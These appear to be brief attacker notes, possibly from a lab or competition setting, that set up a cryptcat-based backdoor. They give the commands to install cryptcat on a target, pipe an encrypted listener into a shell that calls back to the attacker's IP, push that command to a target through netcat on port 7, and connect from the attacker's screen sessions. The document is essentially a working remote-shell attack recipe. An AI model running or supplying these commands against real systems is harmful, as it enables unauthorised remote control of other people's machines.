target machine:
apt-get install cryptcat -y
cryptcat -k catsandkittens -l -p 30532 | sh | cryptcat -k catsandkittens OURIP 30532

we run:
cryptcat -k catsandkittens -l -p 30532
cryptcat -k catsandkittens TARGETIP 30532



so, to use the backdoor:

In screen session 1:
cryptcat -k catsandkittens -l -p 30532

In normal terminal:
echo "apt-get install cryptcat -y && cryptcat -k catsandkittens -l -p 30532 | sh | cryptcat -k catsandkittens 10.0.11.1 30532 &" | nc TARGETIP 7

In screen session 2:
cryptcat -k catsandkittens TARGETIP 30532